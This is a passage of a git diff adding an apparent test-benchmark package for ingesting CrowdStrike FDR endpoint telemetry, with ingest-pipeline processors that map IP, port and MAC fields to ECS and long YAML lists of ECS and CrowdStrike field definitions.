+      tag: source_ip_from_currentlocalip_dc8d0d2d
+      if: ctx.source?.ip == null && ctx.crowdstrike?.CurrentLocalIP != null
+      field: source.ip
+      value: '{{{crowdstrike.CurrentLocalIP}}}'
+  - set:
+      tag: source_ip_from_localip_005159a1
+      if: ctx.source?.ip == null && ctx.crowdstrike?.LocalIP != null
+      field: source.ip
+      value: '{{{crowdstrike.LocalIP}}}'
+  - set:
+      tag: source_ip_from_localaddressip4_bf550fb1
+      if: ctx.source?.ip == null && ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0
+      field: source.ip
+      value: '{{{crowdstrike.LocalAddressIP4.0}}}'
+  - set:
+      tag: source_ip_from_localaddressip6_615c3693
+      if: ctx.source?.ip == null && ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0
+      field: source.ip
+      value: '{{{crowdstrike.LocalAddressIP6.0}}}'
+  - convert:
+      tag: convert_source_ip_to_ip_4084ea08
+      field: source.ip
+      type: ip
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_source_ip_178b5ee1
+            field:
+              - source.ip
+            ignore_missing: true
+        - append:
+            tag: append_error_message_b943fc68
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      tag: set_source_address_070d27e8
+      field: source.address
+      copy_from: source.ip
+      ignore_empty_value: true
+  - rename:
+      tag: rename_crowdstrike_LocalPort_to_source_port_38b3032d
+      field: crowdstrike.LocalPort
+      target_field: source.port
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_MAC_to_source_mac_41d0f60c
+      field: crowdstrike.MAC
+      target_field: source.mac
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_PhysicalAddress_to_source_mac_92994720
+      if: ctx.source?.mac == null
+      field: crowdstrike.PhysicalAddress
+      target_field: source.mac
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_RemoteAddressIP4_to_ip_913ca686
+      field: crowdstrike.RemoteAddressIP4
+      type: ip
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_RemoteAddressIP4_578bef43
+            field:
+              - crowdstrike.RemoteAddressIP4
+            ignore_missing: true
+        - append:
+            tag: append_error_message_263c65c6
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      tag: rename_crowdstrike_RemoteAddressIP4_to_destination_ip_92030b2f
+      field: crowdstrike.RemoteAddressIP4
+      target_field: destination.ip
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_RemoteAddressIP6_to_ip_96d0c7bc
+      field: crowdstrike.RemoteAddressIP6
+      type: ip
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_RemoteAddressIP6_810cbb5b
+            field:
+              - crowdstrike.RemoteAddressIP6
+            ignore_missing: true
+        - append:
+            tag: append_error_message_85851e5c
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      tag: rename_crowdstrike_RemoteAddressIP6_to_destination_ip_437bcd59
+      field: crowdstrike.RemoteAddressIP6
+      target_field: destination.ip
+      ignore_missing: true
+  - set:
+      tag: set_destination_address_a940017a
+      field: destination.address
+      copy_from: destination.ip
+      ignore_empty_value: true
+  - rename:
+      tag: rename_crowdstrike_RemotePort_to_destination_port_4c4d0f5d
+      field: crowdstrike.RemotePort
+      target_field: destination.port
+      ignore_missing: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml
new file mode 100644
index 0000000000..40140d2dec
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml
@@ -0,0 +1,54 @@
+- external: ecs
+  name: ecs.version
+  type: constant_keyword
+  value: 8.17.0
+- name: input.type
+  type: keyword
+- name: log.offset
+  type: long
+- name: data_stream.type
+  type: constant_keyword
+  description: Data stream type.
+- name: data_stream.dataset
+  type: constant_keyword
+  description: Data stream dataset.
+- name: data_stream.namespace
+  type: constant_keyword
+  description: Data stream namespace.
+- name: event.module
+  type: constant_keyword
+  description: Event module
+  value: crowdstrike
+- name: event.dataset
+  type: constant_keyword
+  description: Event dataset
+  value: crowdstrike.fdr
+- name: '@timestamp'
+  type: date
+  description: Event timestamp.
+- external: ecs
+  name: observer.vendor
+  type: constant_keyword
+  value: crowdstrike
+- external: ecs
+  name: observer.type
+  type: constant_keyword
+  value: agent
+- name: aws.s3
+  type: group
+  fields:
+    - name: bucket
+      type: group
+      fields:
+        - name: name
+          type: keyword
+          description: The AWS S3 bucket name.
+        - name: arn
+          type: keyword
+          description: The AWS S3 bucket ARN.
+    - name: object
+      type: group
+      fields:
+        - name: key
+          type: keyword
+          description: The AWS S3 Object key.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml
new file mode 100644
index 0000000000..ff12841373
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml
@@ -0,0 +1,255 @@
+# Remove this file when kibana.version satisfied ^8.14.
+- external: ecs
+  name: destination.address
+- external: ecs
+  name: destination.as.number
+- external: ecs
+  name: destination.as.organization.name
+- external: ecs
+  name: destination.geo.city_name
+- external: ecs
+  name: destination.geo.continent_name
+- external: ecs
+  name: destination.geo.country_iso_code
+- external: ecs
+  name: destination.geo.country_name
+- external: ecs
+  name: destination.geo.location
+- external: ecs
+  name: destination.geo.region_iso_code
+- external: ecs
+  name: destination.geo.region_name
+- external: ecs
+  name: destination.ip
+- external: ecs
+  name: destination.port
+- external: ecs
+  name: device.id
+- external: ecs
+  name: dns.question.name
+- external: ecs
+  name: dns.question.registered_domain
+- external: ecs
+  name: dns.question.subdomain
+- external: ecs
+  name: dns.question.top_level_domain
+- external: ecs
+  name: dns.question.type
+- external: ecs
+  name: dns.type
+- external: ecs
+  name: event.action
+- external: ecs
+  name: event.category
+- external: ecs
+  name: event.created
+- external: ecs
+  name: event.id
+- external: ecs
+  name: event.kind
+- external: ecs
+  name: event.original
+- external: ecs
+  name: event.outcome
+- external: ecs
+  name: event.timezone
+- external: ecs
+  name: event.type
+- external: ecs
+  name: file.device
+- external: ecs
+  name: file.directory
+- external: ecs
+  name: file.drive_letter
+- external: ecs
+  name: file.extension
+- external: ecs
+  name: file.hash.sha256
+- external: ecs
+  name: file.inode
+- external: ecs
+  name: file.name
+- external: ecs
+  name: file.path
+- external: ecs
+  name: file.size
+- external: ecs
+  name: file.type
+- external: ecs
+  name: group.id
+- external: ecs
+  name: host.geo.city_name
+- external: ecs
+  name: host.geo.continent_name
+- external: ecs
+  name: host.geo.country_name
+- external: ecs
+  name: host.geo.timezone
+- external: ecs
+  name: host.domain
+- external: ecs
+  name: host.hostname
+- external: ecs
+  name: host.ip
+- external: ecs
+  name: host.name
+- external: ecs
+  name: log.file.path
+- external: ecs
+  name: network.community_id
+- external: ecs
+  name: network.direction
+- external: ecs
+  name: network.iana_number
+- external: ecs
+  name: network.transport
+- external: ecs
+  name: observer.geo.city_name
+- external: ecs
+  name: observer.geo.continent_name
+- external: ecs
+  name: observer.geo.country_iso_code
+- external: ecs
+  name: observer.geo.country_name
+- external: ecs
+  name: observer.geo.location
+- external: ecs
+  name: observer.geo.region_iso_code
+- external: ecs
+  name: observer.geo.region_name
+- external: ecs
+  name: observer.ip
+- external: ecs
+  name: observer.serial_number
+- external: ecs
+  name: observer.version
+- external: ecs
+  name: host.os.type
+- external: ecs
+  name: host.os.version
+- external: ecs
+  name: process.args
+- external: ecs
+  name: process.args_count
+- external: ecs
+  name: process.command_line
+- external: ecs
+  name: process.end
+- external: ecs
+  name: process.entity_id
+- external: ecs
+  name: process.executable
+  multi_fields:
+    - name: caseless
+      ignore_above: 1024
+      normalizer: lowercase
+      type: keyword
+    - name: text
+      type: match_only_text
+- external: ecs
+  name: process.name
+  multi_fields:
+    - name: caseless
+      ignore_above: 1024
+      normalizer: lowercase
+      type: keyword
+    - name: text
+      type: match_only_text
+- external: ecs
+  name: process.exit_code
+- name: process.group.id
+  type: keyword
+- external: ecs
+  name: process.hash.md5
+- external: ecs
+  name: process.hash.sha256
+- external: ecs
+  name: process.parent.entity_id
+- external: ecs
+  name: process.parent.name
+- external: ecs
+  name: process.pgid
+- external: ecs
+  name: process.pid
+- external: ecs
+  name: process.start
+- external: ecs
+  name: process.thread.id
+- external: ecs
+  name: process.title
+- external: ecs
+  name: process.uptime
+- external: ecs
+  name: related.hash
+- external: ecs
+  name: related.hosts
+- external: ecs
+  name: related.ip
+- external: ecs
+  name: related.user
+- external: ecs
+  name: server.address
+- external: ecs
+  name: server.domain
+- external: ecs
+  name: server.registered_domain
+- external: ecs
+  name: server.subdomain
+- external: ecs
+  name: server.top_level_domain
+- external: ecs
+  name: source.address
+- external: ecs
+  name: source.as.number
+- external: ecs
+  name: source.as.organization.name
+- external: ecs
+  name: source.geo.city_name
+- external: ecs
+  name: source.geo.continent_name
+- external: ecs
+  name: source.geo.country_iso_code
+- external: ecs
+  name: source.geo.country_name
+- external: ecs
+  name: source.geo.location
+- external: ecs
+  name: source.geo.region_iso_code
+- external: ecs
+  name: source.geo.region_name
+- external: ecs
+  name: source.ip
+- external: ecs
+  name: source.mac
+- external: ecs
+  name: source.port
+- external: ecs
+  name: tags
+- external: ecs
+  name: url.domain
+- external: ecs
+  name: url.extension
+- external: ecs
+  name: url.original
+- external: ecs
+  name: url.path
+- external: ecs
+  name: url.registered_domain
+- external: ecs
+  name: url.scheme
+- external: ecs
+  name: url.subdomain
+- external: ecs
+  name: url.top_level_domain
+- external: ecs
+  name: user.domain
+- external: ecs
+  name: user.email
+- external: ecs
+  name: user.full_name
+- external: ecs
+  name: user.group.id
+- external: ecs
+  name: user.id
+- external: ecs
+  name: user.name
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml
new file mode 100644
index 0000000000..cb9381b02f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml
@@ -0,0 +1,2060 @@
+- name: observer.address
+  type: keyword
+- name: crowdstrike
+  type: group
+  fields:
+    - name: __mv_LocalAddressIP4
+      type: keyword
+    - name: __mv_aip
+      type: keyword
+    - name: __mv_discoverer_aid
+      type: keyword
+    - name: aid
+      type: keyword
+    - name: AccessType
+      type: keyword
+    - name: AccountDomain
+      type: match_only_text
+    - name: AccountObjectGuid
+      type: match_only_text
+    - name: AccountObjectSid
+      type: match_only_text
+    - name: AccountType
+      type: keyword
+    - name: ActiveDirectoryAuthenticationMethod
+      type: keyword
+    - name: ActivityId
+      type: keyword
+    - name: AddressFamily
+      type: keyword
+    - name: AdminStatus
+      type: keyword
+    - name: AgentIdString
+      type: keyword
+    - name: AgentLoadFlags
+      type: keyword
+    - name: AgentLocalTime
+      type: date
+    - name: AgentTimeOffset
+      type: float
+    - name: AgentVersion
+      type: keyword
+    - name: AggregateId
+      type: keyword
+    - name: AllocateVirtualMemoryCount
+      type: long
+    - name: AllowlistingFilterId
+      type: keyword
+    - name: ApiReturnValue
+      type: keyword
+    - name: ApplicationName
+      type: match_only_text
+    - name: ArchiveFileWrittenCount
+      type: long
+    - name: AsepClass
+      type: keyword
+    - name: AsepFlags
+      type: keyword
+    - name: AsepIndex
+      type: keyword
+    - name: AsepValueType
+      type: keyword
+    - name: AsepWrittenCount
+      type: long
+    - name: AssociatedFile
+      type: keyword
+    - name: Attacks
+      type: group
+      fields:
+        - name: Tactic
+          type: keyword
+        - name: Technique
+          type: keyword
+    - name: AttemptNumber
+      type: long
+    - name: AuthenticationActivityId
+      type: keyword
+    - name: AuthenticationId
+      type: keyword
+    - name: AuthenticationPackage
+      type: keyword
+    - name: AuthenticationUuid
+      type: keyword
+    - name: AuthenticationUuidAsString
+      type: keyword
+    - name: AuthenticodeHashData
+      type: keyword
+    - name: AuthenticodeHashDataSHA256
+      type: keyword
+    - name: BaseReachableTime
+      type: keyword
+    - name: BinaryExecutableWrittenCount
+      type: long
+    - name: BiosChanged
+      type: match_only_text
+    - name: BiosManufacturer
+      type: keyword
+    - name: BiosReleaseDate
+      type: date
+    - name: BiosVersion
+      type: keyword
+    - name: BluetoothClassOfDeviceValue
+      type: match_only_text
+    - name: BluetoothDeviceAppearanceValue
+      type: match_only_text
+    - name: BluetoothDeviceModelNumber
+      type: match_only_text
+    - name: BluetoothDeviceName
+      type: match_only_text
+    - name: BluetoothServiceName_1
+      type: match_only_text
+    - name: BluetoothServiceName_3
+      type: match_only_text
+    - name: BluetoothServiceName_4
+      type: match_only_text
+    - name: BluetoothServiceName_5
+      type: match_only_text
+    - name: BluetoothServiceName_6
+      type: match_only_text
+    - name: BluetoothServiceName_7
+      type: match_only_text
+    - name: BluetoothServiceName_8
+      type: match_only_text
+    - name: BluetoothServiceUuidArray
+      type: match_only_text
+    - name: BluetoothServiceUuid_1
+      type: match_only_text
+    - name: BluetoothServiceUuid_2
+      type: match_only_text
+    - name: BluetoothServiceUuid_3
+      type: match_only_text
+    - name: BluetoothServiceUuid_4
+      type: match_only_text
+    - name: BluetoothServiceUuid_5
+      type: match_only_text
+    - name: BluetoothServiceUuid_6
+      type: match_only_text
+    - name: BluetoothServiceUuid_7
+      type: match_only_text
+    - name: BluetoothServiceUuid_8
+      type: match_only_text
+    - name: BluetoothVendorIdSource
+      type: match_only_text
+    - name: BootArgs
+      type: keyword
+    - name: BootTimeFunctionalityLevel
+      type: keyword
+    - name: BoundedCount
+      type: long
+    - name: BoundingLimitCount
+      type: long
+    - name: BoundingLimitDuration
+      type: keyword
+    - name: BundleID
+      type: keyword
+    - name: CapPrm
+      type: keyword
+    - name: CertificateIssuer
+      type: keyword
+    - name: CertificatePublisher
+      type: keyword
+    - name: CertificateSignatureHash
+      type: keyword
+    - name: CertificateSignatureHashAlgorithm
+      type: keyword
+    - name: CLICreationCount
+      type: long
+    - name: CallStackModuleNames
+      type: keyword
+    - name: CallStackModuleNamesVersion
+      type: version
+    - name: ChangedPcrBitmap
+      type: match_only_text
+    - name: ChangeTime
+      type: date
+    - name: ChannelDiffStatus
+      type: keyword
+    - name: ChannelId
+      type: keyword
+    - name: ChannelVersion
+      type: keyword
+    - name: ChannelVersionRequired
+      type: keyword
+    - name: ChasisManufacturer
+      type: keyword
+    - name: ChassisType
+      type: keyword
+    - name: ClientComputerName
+      type: keyword
+    - name: ClientId
+      type: match_only_text
+    - name: CloudIndicator
+      type: boolean
+    - name: CNAMERecords
+      type: keyword
+    # - name: crowdstrike.CommandCount
+    #   type: long
+    - name: CommandCount
+      type: match_only_text
+    # - name: crowdstrike.CommandCountMax
+    #   type: long
+    - name: CommandCountMax
+      type: match_only_text
+    - name: CommandHistory
+      type: keyword
+      multi_fields:
+        - name: text
+          type: match_only_text
+    - name: CompletionEventId
+      type: keyword
+    - name: CompositeId
+      type: keyword
+      description: Global unique identifier that identifies a unique alert.
+    - name: ConHostId
+      type: keyword
+    - name: ConHostProcessId
+      type: keyword
+    - name: ConfigBuild
+      type: keyword
+    - name: ConfigIDBase
+      type: keyword
+    - name: ConfigIDBuild
+      type: keyword
+    - name: ConfigIDPlatform
+      type: keyword
+    - name: ConfigStateData
+      type: text
+    - name: ConfigStateHash
+      type: keyword
+    - name: ConfigurationDescriptorName
+      type: match_only_text
+    - name: ConfigurationVersion
+      type: keyword
+    - name: ConnectTime
+      type: date
+    - name: ConnectType
+      type: keyword
+    - name: ConnectionAddressIP6
+      type: match_only_text
+    - name: ConnectionFlags
+      type: keyword
+    - name: ContextBaseFileName
+      type: keyword
+    - name: ContextProcessId
+      type: keyword
+    - name: ContextTimeStamp
+      type: date
+      description: System local time of event creation.
+    - name: CpuClockSpeed
+      type: keyword
+    - name: CpuFeaturesMask
+      type: keyword
+    - name: CpuProcessorName
+      type: keyword
+    - name: CpuSignature
+      type: keyword
+    - name: CpuVendor
+      type: keyword
+    - name: CreateProcessCount
+      type: long
+    - name: CreateProcessType
+      type: keyword
+    - name: CompanyName
+      type: keyword
+    - name: ConnectionType
+      type: keyword
+    - name: ContentSHA256HashData
+      type: keyword
+    - name: ContextImageFileName
+      type: keyword
+    - name: CurrentFunctionalityLevel
+      type: keyword
+    - name: CurrentLocalIP
+      type: ip
+    - name: CustomerIdString
+      type: keyword
+    - name: CycleTime
+      type: long
+    - name: DadState
+      type: keyword
+    - name: DadTransmits
+      type: keyword
+    - name: Data1
+      type: keyword
+    - name: DataDomains
+      type: keyword
+    - name: DcNumAttachments
+      type: match_only_text
+    - name: DcNumBlockingPolicies
+      type: match_only_text
+    - name: Description
+      type: keyword
+    - name: DesiredAccess
+      type: keyword
+    - name: DetectDescription
+      type: keyword
+    - name: DetectId
+      type: keyword
+    - name: DetectName
+      type: keyword
+    - name: DeviceId
+      type: keyword
+    - name: DeviceMountCounter
+      type: long
+    - name: DevicePropertyClassGuid
+      type: match_only_text
+    - name: DevicePropertyClassName
+      type: match_only_text
+    - name: DevicePropertyLocationInformation
+      type: match_only_text
+    - name: DirectionType
+      type: keyword
+    - name: DirectoryCreatedCount
+      type: long
+    - name: DirectoryEnumeratedCount
+      type: long
+    - name: DllCharacteristics
+      type: keyword
+    - name: DnsRequestCount
+      type: long
+    - name: DnsRequests
+      type: nested
+      description: |
+        Detected DNS requests done by a process.
+    - name: DnsResponseType
+      type: keyword
+    - name: DocumentFileWrittenCount
+      type: long
+    - name: DomainSid
+      type: keyword
+    - name: DownloadPath
+      type: keyword
+    - name: DownloadPort
+      type: long
+    - name: DownloadServer
+      type: keyword
+    - name: DriverLoadFlags
+      type: keyword
+    - name: DualRequest
+      type: keyword
+    - name: DylibPath
+      type: match_only_text
+    - name: ELFSubType
+      type: keyword
+    - name: EffectiveTransmissionClass
+      type: keyword
+    - name: EfiVariableCustomModeAttributes
+      type: match_only_text
+    - name: EfiVariableDbAttributes
+      type: match_only_text
+    - name: EfiVariableDbSha256Hash
+      type: match_only_text
+    - name: EfiVariableKekAttributes
+      type: match_only_text
+    - name: EfiVariableKekSha256Hash
+      type: match_only_text
+    - name: EfiVariablePkAttributes
+      type: match_only_text
+    - name: EfiVariablePkSha256Hash
+      type: match_only_text
+    - name: EfiVariableSecureBootAttributes
+      type: match_only_text
+    - name: EfiVariableSetupMode
+      type: match_only_text
+    - name: EfiVariableSetupModeAttributes
+      type: match_only_text
+    - name: EfiVariableSignatureSupport
+      type: match_only_text
+    - name: EfiVariableSignatureSupportAttributes
+      type: match_only_text
+    - name: EnabledPrivilegesBitmask
+      type: keyword
+    - name: EndTime
+      type: date
+    - name: Entitlements
+      type: keyword
+    - name: EnvironmentVariableName
+      type: keyword
+    - name: EnvironmentVariablesString
+      type: match_only_text
+    - name: EnvironmentVariableValue
+      type: keyword
+    - name: ErrorCode
+      type: keyword
+    - name: ErrorStatus
+      type: keyword
+    - name: EtwRawProcessId
+      type: long
+    - name: EtwRawThreadId
+      type: long
+    - name: EventCorrelationId
+      type: keyword
+    - name: EventOrigin
+      type: integer
+    - name: EventType
+      type: keyword
+    - name: EventUUID
+      type: keyword
+    - name: ExceptionAddress
+      type: keyword
+    - name: ExceptionCode
+      type: keyword
+    - name: ExceptionInformation0
+      type: keyword
+    - name: ExclusionSource
+      type: keyword
+    - name: ExclusionType
+      type: keyword
+    - name: ExeAndServiceCount
+      type: long
+    - name: ExecutableBytes
+      type: match_only_text
+    - name: ExecutableDeletedCount
+      type: long
+    - name: ExtendedAttributeValue
+      type: match_only_text
+    - name: ExtendedAttributeValueReadable
+      type: match_only_text
+    - name: ExtendedKeyUsages
+      type: keyword
+    - name: ExternalApiType
+      type: keyword
+    - name: FXFileSize
+      type: keyword
+    - name: Facility
+      type: keyword
+    - name: FailedConnectCount
+      type: long
+    - name: FalconGroupingTags
+      type: keyword
+    - name: FalconHostLink
+      type: keyword
+    - name: FeatureExtractionVersion
+      type: keyword
+    - name: FeatureVector
+      type: match_only_text
+    - name: File
+      type: keyword
+    - name: FileAttributes
+      type: keyword
+    - name: FileCategory
+      type: keyword
+    - name: FileContent
+      type: match_only_text
+    - name: FileDeletedCount
+      type: long
+    - name: FileEcpBitmask
+      type: keyword
+    - name: FileName
+      type: keyword
+    - name: FileObject
+      type: keyword
+    - name: FileOperatorSid
+      type: keyword
+    - name: FilePath
+      type: keyword
+    - name: FileSigningTime
+      type: keyword
+    - name: FileSubType
+      type: keyword
+    - name: FileSystemOperationType
+      type: keyword
+    - name: FileVaultIsEnabled
+      type: match_only_text
+    - name: FileVersion
+      type: keyword
+    - name: FilesAccessed
+      type: group
+      fields:
+        - name: FileName
+          type: keyword
+        - name: FilePath
+          type: keyword
+        - name: Timestamp
+          type: date
+    - name: FilesWritten
+      type: group
+      fields:
+        - name: FileName
+          type: keyword
+        - name: FilePath
+          type: keyword
+        - name: Timestamp
+          type: date
+    - name: FileWrittenFlags
+      type: keyword
+    - name: FirewallAction
+      type: keyword
+    - name: FirewallOption
+      type: keyword
+    - name: FirewallOptionNumericValue
+      type: keyword
+    - name: FirewallProfile
+      type: keyword
+    - name: FirewallRule
+      type: keyword
+    - name: FirewallRuleId
+      type: keyword
+    - name: FirmwareAnalysisEclConsumerInterfaceVersion
+      type: keyword
+    - name: FirmwareAnalysisEclControlInterfaceVersion
+      type: keyword
+    - name: FirstCommand
+      type: match_only_text
+    - name: FirstDiscoveredDate
+      type: date
+    - name: FirstIP4Record
+      type: keyword
+    - name: FirstSeen
+      type: date
+    - name: FixedFileVersion
+      type: keyword
+    - name: Flags
+      type: keyword
+    - name: FltCallbackData
+      type: keyword
+    - name: FltCompletionContext
+      type: keyword
+    - name: FltRelatedObjects
+      type: keyword
+    - name: FontBuffer
+      type: keyword
+    - name: FontBufferLength
+      type: keyword
+    - name: FontFileCount
+      type: long
+    - name: FontFileName
+      type: keyword
+    - name: FontLoadOperation
+      type: keyword
+    - name: FsOperationClassification
+      type: keyword
+    - name: FsOperationClassificationFlags
+      type: keyword
+    - name: FullExceptionRecord
+      type: keyword
+    - name: GenericFileWrittenCount
+      type: long
+    - name: GrandParentBaseFileName
+      type: keyword
+    - name: GrandparentCommandLine
+      type: keyword
+      multi_fields:
+        - name: text
+          type: match_only_text
+    - name: GrandparentImageFileName
+      type: keyword
+    - name: GrandparentImageFilePath
+      type: keyword
+    - name: GroupRid
+      type: keyword
+    - name: HandleCreateAuthenticationId
+      type: keyword
+    - name: HandleCreated
+      type: keyword
+    - name: HashAlgorithm
+      type: keyword
+    - name: HostGroups
+      type: keyword
+    - name: HostHiddenStatus
+      type: keyword
+    - name: HostProcessType
+      type: keyword
+    - name: HttpInternalSource
+      type: match_only_text
+    - name: HttpMethod
+      type: match_only_text
+    - name: HttpRequestHeader
+      type: match_only_text
+    - name: HttpUrl
+      type: match_only_text
+    - name: IcmpCode
+      type: keyword
+    - name: IcmpType
+      type: keyword
+    - name: IfType
+      type: keyword
+    - name: ImageCheckSum
+      type: keyword
+    - name: ImageEntryPoint
+      type: keyword
+    - name: ImageFileName
+      type: keyword
+    - name: ImageSignatureLevel
+      type: keyword
+    - name: ImageSignatureType
+      type: keyword
+    - name: ImageTimeStamp
+      type: keyword
+    - name: ImpersonatedUserName
+      type: keyword
+    - name: InBroadcastOctets
+      type: keyword
+    - name: InjectedDll
+      type: keyword
+    - name: InjectedThreadFlag
+      type: keyword
+    - name: InMulticastOctets
+      type: keyword
+    - name: InNUcastPkts
+      type: keyword
+    - name: InterfaceDescription
+      type: keyword
+    - name: InterfaceFlags
+      type: keyword
+    - name: InterfaceIdentifier
+      type: keyword
+    - name: InterfaceMtu
+      type: keyword
+    - name: InUcastOctets
+      type: keyword
+    - name: IOCType
+      type: keyword
+    - name: IOCValue
+      type: keyword
+    - name: IOServiceClass
+      type: keyword
+    - name: IOServiceName
+      type: keyword
+    - name: IOServicePath
+      type: keyword
+    - name: IP4Records
+      type: keyword
+    - name: IpEntryFlags
+      type: keyword
+    - name: ImageSubsystem
+      type: keyword
+    - name: InContext
+      type: keyword
+    - name: InDiscards
+      type: keyword
+    - name: InErrors
+      type: keyword
+    - name: InMulticastPkts
+      type: keyword
+    - name: InOctets
+      type: keyword
+    - name: InUcastPkts
+      type: keyword
+    - name: InUnknownProtos
+      type: keyword
+    - name: IndividualDiskInfo
+      type: match_only_text
+    - name: Information
+      type: keyword
+    - name: InjectedDllCount
+      type: long
+    - name: InjectedThreadCount
+      type: long
+    - name: InstanceMetadata
+      type: match_only_text
+    - name: InstanceMetadataSignature
+      type: match_only_text
+    - name: IntegrityLevel
+      type: keyword
+    - name: InterfaceAlias
+      type: keyword
+    - name: InterfaceGuid
+      type: keyword
+    - name: InterfaceIndex
+      type: long
+    - name: InterfaceKind
+      type: match_only_text
+    - name: InterfaceType
+      type: keyword
+    - name: InterfaceVersion
+      type: keyword
+    - name: IrpFlags
+      type: keyword
+    - name: IsOnNetwork
+      type: keyword
+    - name: IsOnRemovableDisk
+      type: keyword
+    - name: IsProcessInitializing
+      type: keyword
+    - name: IsTransactedFile
+      type: keyword
+    - name: IsUnique
+      type: keyword
+    - name: KernelTime
+      type: long
+    - name: KeyObject
+      type: match_only_text
+    - name: LanguageId
+      type: keyword
+    - name: LastAdded
+      type: match_only_text
+    - name: LastDiscoveredBy
+      type: keyword
+    - name: LastDisplayed
+      type: match_only_text
+    - name: LastLoggedOnHost
+      type: keyword
+    - name: LastPendingUpdateInstalledTime
+      type: match_only_text
+    - name: LaunchItemType
+      type: match_only_text
+    - name: LaunchItemUrl
+      type: match_only_text
+    - name: LdapSearchFilterSample
+      type: match_only_text
+    - name: LfoUploadFlags
+      type: keyword
+    - name: LightningLatencyState
+      type: keyword
+    - name: Line
+      type: keyword
+    - name: LinkLocalAddressBehavior
+      type: keyword
+    - name: LinkLocalAddressTimeout
+      type: keyword
+    - name: LocalAddressIP4
+      type: ip
+    - name: LocalAddressIP6
+      type: ip
+    - name: LocalAddressMaskIP4
+      type: keyword
+    - name: LocalAddressMaskIP6
+      type: keyword
+    - name: LocalIpAddressPipelineSource
+      type: keyword
+    - name: LocalAdminAccess
+      type: keyword
+    - name: LocalIP
+      type: ip
+    - name: LocalIPv6
+      type: ip
+    - name: LogicalCoreCount
+      type: long
+    - name: LoginSessionId
+      type: keyword
+    - name: LogoffTime
+      type: date
+    - name: LogonDomain
+      type: keyword
+    - name: LogonId
+      type: keyword
+    - name: LogonInfo
+      type: keyword
+    - name: LogonServer
+      type: keyword
+    - name: LogonTime
+      type: date
+    - name: LogonType
+      type: keyword
+    - name: MACAddress
+      type: keyword
+    - name: MACPrefix
+      type: keyword
+    - name: MD5String
+      type: keyword
+    - name: MLModelVersion
+      type: keyword
+    - name: MachOSubType
+      type: keyword
+    - name: MajorFunction
+      type: keyword
+    - name: MajorVersion
+      type: keyword
+    - name: Malicious
+      type: keyword
+    - name: ManagedPdbBuildPath
+      type: match_only_text
+    - name: MappedFromUserMode
+      type: keyword
+    - name: MaxReassemblySize
+      type: keyword
+    - name: MaxRouterAdvertisementInterval
+      type: keyword
+    - name: MaxThreadCount
+      type: long
+    - name: MediaConnectState
+      type: keyword
+    - name: MediaType
+      type: keyword
+    - name: MemoryAvailable
+      type: match_only_text
+    - name: Metric
+      type: keyword
+    - name: MD5HashData
+      type: keyword
+    - name: MemoryTotal
+      type: keyword
+    - name: MicrocodeSignature
+      type: keyword
+    - name: MinorFunction
+      type: keyword
+    - name: MinorVersion
+      type: keyword
+    - name: MinRouterAdvertisementInterval
+      type: keyword
+    - name: ModuleCharacteristics
+      type: keyword
+    - name: ModuleSize
+      type: keyword
+    - name: MmioDataGenPmconB
+      type: match_only_text
+    - name: MmioDataSmiEn
+      type: match_only_text
+    - name: MmioDataTco1Cnt
+      type: match_only_text
+    - name: MoboManufacturer
+      type: keyword
+    - name: MoboProductName
+      type: keyword
+    - name: ModelPrediction
+      type: keyword
+    - name: ModuleLoadCount
+      type: long
+    - name: ModuleLoadTelemetryClassification
+      type: keyword
+    - name: NDRoot
+      type: keyword
+    - name: NegateInterface
+      type: keyword
+    - name: NegateLocalAddress
+      type: keyword
+    - name: NegateRemoteAddress
+      type: keyword
+    - name: NeighborList
+      type: keyword
+    - name: NeighborName
+      type: keyword
+    - name: NetLuidIndex
+      type: long
+    - name: NetworkAccesses
+      type: group
+      fields:
+        - name: AccessTimestamp
+          type: keyword
+        - name: AccessType
+          type: keyword
+        - name: ConnectionDirection
+          type: keyword
+        - name: IsIPV6
+          type: keyword
+        - name: LocalAddress
+          type: keyword
+        - name: LocalPort
+          type: keyword
+        - name: Protocol
+          type: keyword
+        - name: RemoteAddress
+          type: keyword
+        - name: RemotePort
+          type: keyword
+    - name: NetworkBindCount
+      type: long
+    - name: NetworkCapableAsepWriteCount
+      type: long
+    - name: NetworkCloseCount
+      type: long
+    - name: NetworkConnectCount
+      type: long
+    - name: NetworkConnectCountUdp
+      type: long
+    - name: NetworkContainmentState
+      type: keyword
+    - name: NetworkGuid
+      type: keyword
+    - name: NetworkInterfaceGuid
+      type: keyword
